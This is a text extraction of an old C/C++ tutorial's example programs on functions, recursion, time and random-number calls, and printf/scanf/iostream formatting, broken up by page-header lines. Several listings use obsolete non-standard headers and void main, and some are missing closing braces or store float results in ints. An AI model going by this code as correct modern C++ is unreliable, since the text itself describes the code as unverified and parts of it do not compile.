//function prototype
void swap(int x, int y);

int main()
{
int x = 5, y = 10;

cout<<"In main. Before swap, x: "<<x<<" y: "<<y<<"\n";


cout<<"\nThen calling function swap(x, y)...\n";

//function call
swap(x, y);

cout<<"\n...back to main. After swap, x: "<<x<<" y: "<<y<<"\n";

system("pause");
return 0;
}

void swap(int x, int y)


{
int temp;

cout<<"\nIn swap function, confirm before swapping, x: "<<x<<" y: "<< y << "\n";
temp = x;
x = y;
y = temp;
cout<<"In swap function. After swapping, x: "<<x<<" y: "<<y<<"\n";
}

--------------------------------------------------------------------------------------------------------------------

//Demonstrates multiple return


//statements

#include <iostream.h>
#include <stdlib.h>

//function prototype
long int Doubler(long int AmountToDouble);

long int main()


{
long int result = 0;
long int input;

file:///C|/Tutorial.txt (53 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Enter a number to be doubled: ";


cin>>input;
cout<<"\nBefore Doubler() is called... ";
cout<<"\ninput: "<<input<<" doubled: "<<result<<"\n";

//function call
result = Doubler(input);

cout<<"\nBack from Doubler()...\n";


cout<<"\ninput: " <<input<< " doubled: "<<result<<"\n";
cout<<"Re run this program, input > 10000, see the output...\n";

system("pause");
return 0;
}

long int Doubler(long int original)


{
if (original <= 10000)
return (original * 2);
else
{
cout<<"Key in less than 10000 please!\n";
return -1;
}
}

-----------------------------------------------------------------------------------------------------------------------

//Demonstrates the use of


//default parameter values
#include <iostream.h>
#include <stdlib.h>

//function prototype
//width = 25 and height = 1, are default values
int AreaOfCube(int length, int width = 25, int height = 1);

int main()
{
//Assigning new values
int length = 100;
int width = 50;
int height = 2;
int area;

//function call
area = AreaOfCube(length, width, height);

cout<<"First time function call, area = "<<area<<"\n";

//function call again


area = AreaOfCube(length, width);

//height = 1, default value

file:///C|/Tutorial.txt (54 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Second time function call, area = "<<area<<"\n";

area = AreaOfCube(length);
//width = 25, height = 1, default values
cout<<"Third time function call, area = "<<area<<"\n";

system("pause");
return 0;
}

AreaOfCube(int length, int width, int height)


{
return (length * width * height);
}

----------------------------------------------------------------------------------------------------------------------------

//Demonstrates inline functions


#include <iostream.h>
#include <stdlib.h>

//inline function, no need prototype here


//directly declares and defines the function
inline int Doubler(int target)
{return (2*target);}

int main()
{
int target;

cout<<"Enter a number to work with: ";


cin>>target;
cout<<"\n";

//function call
target = Doubler(target);
cout<<"First time function call, Target: "<<target<<endl;

//function call
target = Doubler(target);
cout<<"Second time function call, Target: "<<target<<endl;

//another call
target = Doubler(target);
cout<<"Third time function call, Target: "<<target<<endl;

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------------

//simple random number function generator...


#include <iostream.h>
#include <stdlib.h>
#include <dos.h>

file:///C|/Tutorial.txt (55 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

int main()
{
int i;

cout<<"Ten random numbers from 0 to 99\n\n";

//loop, learn later


for(i=0; i<10; i++)
{
//random number function generator
cout<<rand()%100<<" ";
//let have 2 seconds delay...
sleep(2);
}
cout<<endl;

system("pause");
return 0;
}

------------------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions
#include <iostream.h>
#include <stdlib.h>

//function prototype
float AddNum(float, float);

//main program
void main(void)
{
cout<<"The function body..."<<endl;
cout<<"This just program skeleton..."<<endl;

system("pause");
}

//Function definition
float AddNum(float , float)
{
float x = 0;
return x;
}

------------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions

#include <iostream.h>
#include <stdlib.h>

//function prototype

file:///C|/Tutorial.txt (56 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float AddNum(float, float);

void main(void)
{
//global (to this file) scope variables
float p, q, r;

//Prompt for user input


cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;

//function call
r = AddNum(p, q);

//Display the result


cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;
system("pause");
}

//Function definition
float AddNum(float p, float q)
{
return (p + q);
}

----------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions

#include <iostream.h>
#include <stdlib.h>

//function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);

void main(void)
{
//local (to this file) scope variables
float p, q, r, s, t, u;
//Prompt for user input
cout<<"Enter two numbers separated by space: "<<endl;
cin>>p>>q;

//Function call
r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

//Display the result and quit


cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;

file:///C|/Tutorial.txt (57 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;


cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;
cout<<"Press Enter key to quit."<<endl;
system("pause");
}

//Function definitions part


float AddNum(float p, float q)
{
return (p + q);
}

float SubtractNum(float p, float q)


{
return (p - q);
}

float DivideNum(float p, float q)


{
//do some checking here to avoid divide by 0
if (q == 0)
return 0;
else
return (p / q);
}

float MultiplyNum(float p, float q)


{
return (p * q);
}

-------------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions
//arithmet.h header file, no need to compile or run.
//The variable also has been change to x and y respectively.
//The important one are parameter type, number and return type must
//be matched

#include <iostream.h>
#include <stdlib.h>

float x, y;

//Function prototypes
float AddNum(float, float);
float SubtractNum(float, float);
float DivideNum(float, float);
float MultiplyNum(float, float);

float AddNum(float x, float y)


{
return (x + y);
}

file:///C|/Tutorial.txt (58 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

float SubtractNum(float x, float y)


{
return (x - y);
}

float DivideNum(float x, float y)


{
//Divide by 0 check
if(y==0)
return 0;
else
return (x / y);
}

float MultiplyNum(float x, float y)


{
return (x * y);
}

------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions
//New main program

#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h" //notice this!

//global variables, need external access


float p, q;

void main(void)
{
//local scope (to this file) variables…
int r, s, t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

r = AddNum(p, q);
s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;


cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;

system("pause");
}

--------------------------------------------------------------------------------------------------------------

file:///C|/Tutorial.txt (59 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//user defined function and header file


//Simple arithmetic functions
//New main program with partial function call

#include <iostream.h>
#include <stdlib.h>
#include "arithmet.h"

//global variable need access from external


float p, q;

void main(void)
{

//local scope (to this file) variables…


int t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

//r = AddNum(p, q);


//s = SubtractNum(p, q);
t = DivideNum(p, q);
u = MultiplyNum(p, q);

//cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;


//cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;

system("pause");
}

--------------------------------------------------------------------------------------------------------------

//user defined function and header file


//Simple arithmetic functions
//New main program

#include <iostream.h>
#include <stdlib.h>
//using <arithmet.h> instead of "arithmet.h"
#include <arithmet.h>

//global variables need access from external


float p, q;

void main(void)
{
//local scope (to this file) variable
int t, u;

cout<<"Enter two numbers separated by space: "<<endl;


cin>>p>>q;

//r = AddNum(p, q);

file:///C|/Tutorial.txt (60 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//s = SubtractNum(p, q);


t = DivideNum(p, q);
u = MultiplyNum(p, q);

//cout<<"Addition: "<<p <<" + "<<q<<" = "<<r<<endl;


//cout<<"Subtraction: "<<p <<" - "<<q<<" = "<<s<<endl;
cout<<"Division: "<<p <<" / "<<q<<" = "<<t<<endl;
cout<<"Multiplication: "<<p <<" * "<<q<<" = "<<u<<endl;

system("pause");
}

---------------------------------------------------------------------------------------------------------------------

//Demonstrates recursive function


//recursive factorial function
//the formula, n! = n*(n-1)!
#include <iostream.h>
#include <stdlib.h>

//function prototype, receives long type


//returns also long type
long factor(long);

int main()
{
int p;
cout<<"Calculating factorial using recursive function"<<endl;
cout<<"----------------------------------------------\n"<<endl;

//Let do some looping for 10 numbers


for(p = 1; p<10; p++)
cout<<p<<"! = "<<p<<"*("<<(p-1)<<")!"<<" = "<<factor(p)<<"\n";

system("pause");
return 0;
}

//Recursive function definition


long factor(long number)
{
//For starting number, that <= 1, factorial = 1
if(number<=1)
return 1;
//number > 1
else
//return and call itself
return (number * factor(number-1));
}

-------------------------------------------------------------------------------------------------------------------

//Demonstrates recursive Fibonacci function


//the formula, fibonacci(n) = fibonacci(n-1)+fibonacci(n-2)

#include <iostream.h>

file:///C|/Tutorial.txt (61 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

long fibonacci(long);

int main()
{
int p;
cout<<"Simple fibonacci using recursive function"<<endl;
cout<<"-----------------------------------------\n"<<endl;

//looping for 15 numbers


for(p = 0; p<30; p=p+2)
cout<<"Fibonacci("<<p<<") = "<<fibonacci(p)<<"\n";

system("pause");
return 0;
}

//Recursive fibonacci function definition


long fibonacci(long number)
{
//For starting number 0, 1, fibonacci = number
if(number == 0 || number == 1)
return number;
//other number...
else
//return and call itself
return (fibonacci(number-1) + fibonacci(number-2));
}

----------------------------------------------------------------------------------------------------------

//rand() and random() from stdlib.h


#include <stdio.h>
#include <stdlib.h>

main()
{
int c;

//generating random number


printf("10 random numbers:\n");

//loop
for(c = 0; c <10; c++)
printf("%d ", rand());
printf("\n");

//num has a value between 0 and 99


int num = random(100);
printf("\nRandom number less than 100 = %d\n", num);

//using lower bound and upper bound


int num1 = 200 + random(700-200);
printf("\nRandom number between 200 700 = %d\n", num1);

file:///C|/Tutorial.txt (62 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//floating-point random numbers...


float num3 = rand()/33000.0;
printf("\nfloating-point random number = %f\n", num3);

//floating-point random numbers...


printf("\nAnother floating-point random numbers:\n");
for(c = 0; c <10; c++)
printf("%f\n", rand()/33000.0);
printf("\n");

system("pause");
return 0;
}

-------------------------------------------------------------------------------------------------------------------

//Simple time and date…


#include <stdio.h>
//for time and date
#include <time.h>
//for sleep()
#include <dos.h>

int main(void)
{
//structure data type, learnt in another Module
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];

time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s", ctime(&t));

//Formating time for output...


//using strftime()
tzset();
time(&secs_now);
time_now = localtime(&secs_now);
strftime(str, 80,"It is %M minutes after %I o'clock, %A, %B %d 20%y", time_now);
printf("%s\n",str);

//Computes the difference between two times...


//using difftime()
time_t first, second;
//Gets system time
first = time(NULL);
//Waits 5 secs
sleep(5);
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));

//wait for 10 seconds...

file:///C|/Tutorial.txt (63 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

sleep(10);
return 0;
}

----------------------------------------------------------------------------------------------------------------------

//Converts the date and time to Greenwich Mean Time (GMT)


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <dos.h>

//Pacific Standard Time & Daylight Savings


char *tzstr = "TZ=PST8PDT";

int main(void)
{
time_t t;
struct tm *gmt, *area;

putenv(tzstr);
tzset();

t = time(NULL);
area = localtime(&t);

printf("The local time is: %s", asctime(area));

gmt = gmtime(&t);

printf("The GMT is: %s", asctime(gmt));

//wait 10 seconds...
sleep(10);
return 0;
}

--------------------------------------------------------------------------------------------------------------------------

//Converting time to calendar format...


//checking the day...
#include <stdio.h>
#include <time.h>
//for sleep()
#include <dos.h>

//a pointer to an array of string, learnt later


char *wday[] = {"Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Unknown"};

int main()
{
//structure data type, learnt later
struct tm time_check;
int year, month, day;

printf("WHAT DAY?...Enter any year, month and day\n");

file:///C|/Tutorial.txt (64 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("Year format-YYYY, Month format-MM, Day format-DD\n");


//Input a year, month and day to find the weekday for...
printf("Year: ");
scanf("%d", &year);
printf("Month: ");
scanf("%d", &month);
printf("Date: ");
scanf("%d", &day);

//load the time_check structure with the data


time_check.tm_year = year - 1900;
time_check.tm_mon = month - 1;
time_check.tm_mday = day;
time_check.tm_hour = 0;
time_check.tm_min = 0;
time_check.tm_sec = 1;
time_check.tm_isdst = -1;

//call mktime to fill in the weekday field of the structure...


if(mktime(&time_check) == -1)
time_check.tm_wday = 7;

//print out the day of the week...


printf("That day is a %s\n", wday[time_check.tm_wday]);
sleep(10);
return 0;
}

------------------------------------------------VC++/VC++ .Net----------------------------------------
//C run-time Microsoft C example
#include <cstdio>
#include <ctime>

int main(void)
{
struct tm *time_now;
time_t secs_now;
time_t t;
char str[80];

time(&t);
//dispaly current time and date...
//using ctime()
printf("Today's date and time: %s\n", ctime(&t));

//Formating time for output...


//using strftime()
tzset();
time(&secs_now);
time_now = localtime(&secs_now);
strftime(str, 80,"It is %M minutes after %I o'clock, %A, %B %d 20%y\n", time_now);
printf("%s\n", str);

//Computes the difference between two times...


//using difftime()
time_t first, second;

file:///C|/Tutorial.txt (65 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

//Gets system time


first = time(NULL);
//Waits 5 secs
getchar();
//Gets system time again
second = time(NULL);
printf("The difference is: %f seconds\n", difftime(second, first));

//wait for 10 seconds...


getchar();
return 0;
}

--------------------------------------------------gcc------------------------------------------------------

/***function skeleton example, function.c***/


#include <stdio.h>

/*function prototypes and their variations...*/


/*IN C++ it is required by standard*/
/*notice and remember these variations...*/
void FunctOne(void);
double FunctTwo();
int FunctThree(int);
void FunctFour(int);

/*main program...*/
int main()
{
printf("-----PLAYING WITH A FUNCTION-----\n");
printf("All call by value ONLY!!!\n");
printf("Starting: I'm in main()...\n");

/*function call, go to FunctOne without*/


/*any argument...*/
FunctOne();
printf("\nBack in main()...\n");

/*function call, go to FunctTwo()*/


/*without any argument...*/
double q = FunctTwo();
printf("Back in main()...\n");
/*display the returned value...*/
printf("The returned value = %.4f\n", q);

/*function call, go to FunctThree*/


/*with an argument...*/
int y = 100;
int x = FunctThree(y);
printf("Back in main()...\n");
/*display the returned value...*/
printf("Display the returned value from FunctThree = %d\n", x);
int r = 50;
FunctFour(r);
printf("Finally back in main()...\n");
return 0;

file:///C|/Tutorial.txt (66 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

void FunctOne()
{
/*do nothing here just display the*/
/*following text...*/
printf("\nNow I'm in FunctOne()!...\n");
printf("Receives nothing, return nothing...\n");
/*return to main, without any returned value*/
}

double FunctTwo()
{
/*receive nothing but do some work here...*/
double p = 10.123;
printf("\nNow I'm in FunctTwo()!\nmay do some work here..."
"\nReceives nothing but returns something"
"\nto the calling function...\n");
/*and return something...*/
return p;
}

int FunctThree(int z)
{
/*receive something...do some work...*/
/*and return the something...*/
int a = z + 100;
printf("\nThen, in FunctThree()!...\n");
printf("Receives something from calling function\ndo some work here and"
"\nreturn something to the calling function...\n");
/*then return to main, with return value*/
return a;
}

void FunctFour(int s)
{
/*received something but return nothing...*/
int r = s - 20;
printf("\nNow, in FunctFour()...\n");
printf("Received something, but return nothing...\n");
printf("The value processed here = %d\n", r);
printf("Then within FunctFour, call FunctOne()...\n");
FunctOne();
printf("Back in FunctFour()....\n");
}

=============================MODULE5=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |

file:///C|/Tutorial.txt (67 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

| reproduction and modification is granted to any body. |


| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
VC++/VC++ .Net and gcc or g++ are given at the end of every Module.
For example if you want to compile C++ codes using VC++/VC++ .Net, change
the header file accordingly. Just need some modification for the header
files...:

-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>

...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;

...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
=========================================================================

//Using the integer conversion specifiers


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Various format for integer printing\n");
printf("-------------------------------------\n");
printf("%d\n", 455);
printf("%i\n", 455); //i same as d in printf()
printf("%d\n", +455);
printf("%d\n", -455);

file:///C|/Tutorial.txt (68 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%hd\n", 32000);
printf("%ld\n", 2000000000L);
printf("%o\n", 455);
printf("%u\n", 455);
printf("%u\n", -455);
//-455 is read by %u and converted to the unsigned
//value 4294966841 by 4 bytes integer
printf("%x\n", 455);
printf("%X\n", 455);

system("pause");
return 0;
}

-------------------------------------------------------------------------------

//Printing floating-point numbers with


//floating-point conversion specifiers

#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);
printf("3. %e\n", -1234567.89);
printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Printing strings and characters


#include <stdio.h>
#include <stdlib.h>

int main()
{
char character = 'A';
char string[] = "This is a string";
char *stringPtr = "This is also a string";

printf("---------------------------------\n");
printf("---Character and String format---\n");
printf("---------------------------------\n\n");
printf("%c <--This one is character\n", character);
printf("\nLateral string\n");

file:///C|/Tutorial.txt (69 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%s\n", "This is a string");


printf("\nUsing array name, the pointer to the first array's element\n");
printf("%s\n", string);
printf("\nUsing pointer, pointing to the first character of string\n");
printf("%s\n", stringPtr);

system("pause");
return 0;
}

----------------------------------------------------------------------------------

//Using the p, n, and % conversion specifiers


#include <stdio.h>
#include <stdlib.h>

int main()
{
int *ptr;
//pointer variable
int x = 12345, y;

ptr = &x;

//assigning address of variable x to variable ptr


printf("\nUsing the p, n, and %% conversion specifiers.\n");
printf("Compare the output with the source code\n");
printf("-----------------------------------------------\n\n");
printf("The value of pointer ptr is %p\n", ptr);
printf("The address of variable x is %p\n\n", &x);
printf("Total characters printed on this line is:%n", &y);
printf(" %d\n\n", y);

y = printf("This line has 28 characters\n");

printf("%d characters were printed\n\n", y);


printf("Printing a %% in a format control string\n");

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Printing integers right-justified


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf(" Printing integers right-justified.\n");
printf("Compare the output with the source code\n");
printf("---------------------------------------\n\n");
printf("%4d\n", 1);
printf("%4d\n", 12);
printf("%4d\n", 123);

file:///C|/Tutorial.txt (70 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%4d\n", 1234);
printf("%4d\n\n", 12345);
printf("%4d\n", -1);
printf("%4d\n", -12);
printf("%4d\n", -123);
printf("%4d\n", -1234);
printf("%4d\n", -12345);

system("pause");
return 0;
}

---------------------------------------------------------------------------------

//Using precision while printing integers,


//floating-point numbers and strings
#include <stdio.h>
#include <stdlib.h>

int main()
{
int i = 873;
float f = 123.94536;
char s[] = "Happy Birthday";
printf("Using precision while printing integers,\n");
printf(" floating-point numbers, and strings.\n");
printf("Compare the output with the source code\n");
printf("----------------------------------------\n\n");
printf("Using precision for integers\n");
printf("\t%.4d\n\t%.9d\n\n", i, i);
printf("Using precision for floating-point numbers\n");
printf("\t%.3f\n\t%.3e\n\t%.3g\n\n", f, f, f);
printf("Using precision for strings\n");
printf("\t%.11s\n", s);

system("pause");
return 0;

-----------------------------------------------------------------------------------

//Right justifying and left justifying values


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Right justifying and left justifying values.\n");
printf(" Compare the output with the source code.\n");
printf("--------------------------------------------\n\n");
printf("%10s%10d%10c%10f\n\n", "hello", 7, 'a', 1.23);
printf("%-10s%-10d%-10c%-10f\n", "hello", 7, 'a', 1.23);

system("pause");
return 0;

file:///C|/Tutorial.txt (71 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

-----------------------------------------------------------------------------------

//Printing numbers with and without the + flag


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing numbers with and without the + flag.\n");
printf(" Compare the output with the source code\n");
printf("---------------------------------------------\n\n");
printf("%d\n%d\n", 786, -786);
printf("%+d\n%+d\n", 786, -786);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

//Printing a space before signed values


//not preceded by + or -
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing a space before signed values\n");
printf(" not preceded by + or -n\n");
printf("--------------------------------------\n\n");
printf("% d\n% d\n", 877, -877);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

//o, x, X, and any floating-point specifier


#include <stdio.h >
#include <stdlib.h>

int main()
{
int c = 1427;
float p = 1427.0;

printf("o, x, X, and any floating-point specifiers\n");


printf("Compare the output with the source code\n");
printf("-----------------------------------------\n\n");
printf("%#o\n", c);
printf("%#x\n", c);
printf("%#X\n", c);
printf("\n%#g\n", p);

file:///C|/Tutorial.txt (72 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("%#G\n", p);

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

//Printing with the 0 (zero) flag fills in leading zeros


#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("Printing with the 0 (zero) flag fills in leading zeros\n");
printf(" Compare the output with the source code\n");
printf("-------------------------------------------------------\n\n");
printf("%+09d\n", 762);
printf("%09d", 762);
printf("\n");

system("pause");
return 0;
}

-----------------------------------------------------------------------------------

//Reading integers
#include <stdio.h>
#include <stdlib.h>

int main()
{
int a, b, c, d, e, f, g;

printf("Reading integers from standard input\n");


printf("------------------------------------\n\n");
printf("Enter seven integers separated by space: ");
scanf("%d%i%i%i%o%u%x", &a, &b, &c, &d, &e, &f, &g);
printf("The input displayed as decimal integers is: \n");
printf("%d %d %d %d %d %d %d\n", a, b, c, d, e, f, g);

system("pause");
return 0;
}

------------------------------------------------------------------------------------

//Reading floating-point numbers


#include <stdio.h>
#include <stdlib.h>

int main()
{
float a, b, c;

file:///C|/Tutorial.txt (73 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf(" Reading floating-point numbers\n");


printf("Compare the output with the source code.\n");
printf("----------------------------------------\n\n");
printf("Enter three floating-point numbers, separated by space: \n");
scanf("%e%f%g", &a, &b, &c);

printf("Here are the numbers entered in plain\n");


printf("floating-point notation:\n");
printf("%f %f %f\n", a, b, c);

system("pause");
return 0;
}

------------------------------------------------------------------------------------

//Reading characters and strings


#include <stdio.h>
#include <stdlib.h>

int main()
{
char x, y[20];

printf("Enter a string: ");


scanf("%c%s", &x, y);
printf("The input was: \n");
printf("the character \"%c\" ", x);
printf("and the string \"%s\"\n", y);

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//input data with a field width


#include <stdio.h>
#include <stdlib.h>

int main()
{
int x, y;

printf("Enter a six digit integer: ");


scanf("%2d%d", &x, &y);
printf("The integers input were %d and %d\n", x, y);

system("pause");
return 0;
}

--------------------------------------------------------------------------------------

//Reading and discarding characters from the input stream


#include <stdio.h>

file:///C|/Tutorial.txt (74 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <stdlib.h>

int main()
{
int month1, day1, year1, month2, day2, year2;

printf("Enter a date in the form mm-dd-yy: ");


//pad 0 for two fields and discarding the - characters....
scanf("%d%*c%d%*c%d", &month1, &day1, &year1);
printf("month = %02d day = %02d year = %02d\n\n", month1, day1, year1);
printf("Enter a date in the form mm/dd/yy: ");
//pad 0 for two fields and discarding the / characters...
scanf("%d%*c%d%*c%d", &month2, &day2, &year2);
printf("month = %02d day = %02d year = %02d\n", month2, day2, year2);

system("pause");
return 0;
}

---------------------------------------------------------------------------------------

//concatenating the << operator


#include <iostream.h>
#include <stdlib.h>

int main()
{

cout<<"47 plus 54 is "<<(47 + 54)<<endl;


cout<<"Welcome to C++ stream\n";
system("pause");
return 0;
}

---------------------------------------------------------------------------------------

//printing the address stored in a char * variable


#include <iostream.h>
#include <stdlib.h>

int main()
{
char * string = "pointer testing";

cout<<"\nThe string is: "<<string


<<"\nValue of (void *) string, the address is: "
<<(void *)string <<endl;

system("pause");
return 0;
}

----------------------------------------------------------------------------------------

//stream extraction operator


//input from keyboard with cin

file:///C|/Tutorial.txt (75 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

#include <iostream.h>
#include <stdlib.h>

int main()
{
int x, y;

cout<<"Enter two integers: ";


cin>>x>>y;
cout<<"Sum of "<<x<<" and "<<y<<" is "<<(x + y)<<endl;

system("pause");
return 0;
}

------------------------------------------------------------------------------------------

//stream extraction operator


//variation of cin
#include <iostream.h>
#include <stdlib.h>

int main()
{
int x, y;

cout<<"Enter two integers: ";


cin>>x>>y;
cout<<x<<(x == y?" is " : " is not ")<<"equal to "<<y<<endl;

system("pause");
return 0;
}

--------------------------------------------------------------------------------------------

//stream extraction operator


//variation of cin
#include <iostream.h>
#include <stdlib.h>

int main()
{
int mark, HighMark = -1;

cout<<"Enter grade(eof -Ctrl+Z- to stop): ";


while(cin>>mark)
{
if(mark>HighMark)
HighMark = mark;
cout<<"Enter grade(eof -Ctrl+Z- to stop): ";
}
cout<<"\nHighest grade is: "<<HighMark<<endl;

system("pause");
return 0;

file:///C|/Tutorial.txt (76 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

---------------------------------------------------------------------------------------------

//Simple stream input/output


#include <iostream.h>
#include <stdlib.h>

int main()
{
cout<<"Enter your age: ";

int myAge;
cin>>myAge;
cout<<"Enter your friend's age: ";

int friendAge;
cin>>friendAge;

if(myAge > friendAge)


cout<<"You are older.\n";
else
if(myAge < friendAge)
cout<<"You are younger.\n";
else
cout<<"You and your friend are the same age.\n";

system("pause");
return 0;
}

---------------------------------------------------------------------------------------------

//Some of the cout usage


#include <stdlib.h>
#include <iostream.h>

void main(void)
{
int q, s = 0, t = 0;

q = 10*(s + t);

cout<<"Enter 2 integer numbers,"


" separated by space: ";
//using the " for breaking literal strings
cin>>s>>t;

q = 10*(s + t);

cout<<"simple mathematics calculation, just for demo"<<'\n';


//using '\n' for newline
cout<<"q = 10(s + t) = "<<q<<endl;
//using endl for new line
cout<<"That all folks!!"<<"\n";
cout<<"Study the source code and the output\n";

file:///C|/Tutorial.txt (77 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

system("pause");
}

---------------------------------------------------------------------------------------------

//cout and cin example for function call and array


#include <stdlib.h>
#include <iostream.h>

float simple_calc(float);

void main(void)
{
float x = 3, y[4], sum=0;
int i;

cout<<"Square of 3 is: "<<simple_calc(x)<<'\n';


//cout with function call

cout<<"Study the source code and the output"<<endl;

for (i=1; i<5; i++)


{
cout<<"Enter arrays' data #"<<i<<" : ";
cin>>y[i];
sum = sum + y[i];
//array
}
cout<<"Sum of the arrays' data is: "<<sum<<endl;
cout<<"Press Enter key to quit\n";

system("pause");
}

float simple_calc(float x)
{
float p;
p = (x * x);
return p;
}

--------------------------------------------VC++/VC++ .Net---------------------------------------------------

//Printing floating-point numbers with


//floating-point conversion specifiers

#include <cstdio>

main()
{
printf("Printing floating-point numbers with\n");
printf("floating-point conversion specifiers.\n");
printf("Compare the output with source code\n\n");
printf("1. %e\n", 1234567.89);
printf("2. %e\n", +1234567.89);

file:///C|/Tutorial.txt (78 of 916)10/27/2010 10:58:30 AM


file:///C|/Tutorial.txt

printf("3. %e\n", -1234567.89);


printf("4. %E\n", 1234567.89);
printf("5. %f\n", 1234567.89);
printf("6. %g\n", 1234567.89);
printf("7. %G\n", 1234567.89);
}

--------------------------------------------------GCC-----------------------------------------------------

/*Using the p, n, and % conversion specifiers*/


/*****************module5.c*******************/
#include <stdio.h>
#include <stdlib.h>

int main()
{
int *ptr;
/*pointer variable*/
int x = 12345, y;

ptr = &x;

/*assigning address of variable x to variable ptr*/


printf("\nUsing the p, n, and %% conversion specifiers.\n");
printf("Compare the output with the source code\n");
printf("-----------------------------------------------\n\n");
printf("The value of pointer ptr is %p\n", ptr);
printf("The address of variable x is %p\n\n", &x);
printf("Total characters printed on this line is:%n", &y);
printf(" %d\n\n", y);

y = printf("This line has 28 characters\n");

printf("%d characters were printed\n\n", y);


